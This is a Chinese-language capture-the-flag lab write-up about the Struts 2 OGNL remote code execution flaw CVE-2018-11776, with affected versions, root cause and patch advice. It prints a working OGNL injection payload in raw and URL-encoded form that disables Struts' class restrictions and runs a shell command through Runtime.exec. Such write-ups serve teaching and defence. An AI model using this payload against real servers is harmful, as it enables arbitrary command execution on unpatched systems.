[Vulfocus解题系列]Struts 2 远程代码执行漏洞(CVE-2018-11776)

漏洞介绍

名称: struts2 代码执行 (CVE-2018-11776)

描述: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 action元素没有设置名称空间属性,或者使用了通配符名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞

影响版本

Struts <= Struts 2.3.34, Struts 2.5.16

解题过程

1.访问靶机地址 http://靶机IP/struts2-showcase/
在这里插入图片描述
2.构造如下参数的访问URL

http://靶机IP/struts2-showcase/$%7B233*233%7D/actionChain1.action

3.利用BurpSuite抓包并改包,Go得到下图所示结果,说明存在漏洞。可以看到,233X233的结果已经在Location头中返回。
在这里插入图片描述
4.构造POC,替换掉请求内容
原始poc:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘ls /tmp’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

url编码后的poc:

/struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘ls%20/tmp’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

使用构造好的poc,获得flag
在这里插入图片描述

漏洞原理

Struts2的漏洞利用条件如下:

   - alwaysSelectFullNamespace值为true
   - action元素未设置namespace属性,或使用了通配符

    namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞

修复方案

1.建议用户及时下载最新版本(2.3.35或2.5.17版本)。下载地址:

http://archive.apache.org/dist/struts/

2.临时解决办法:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值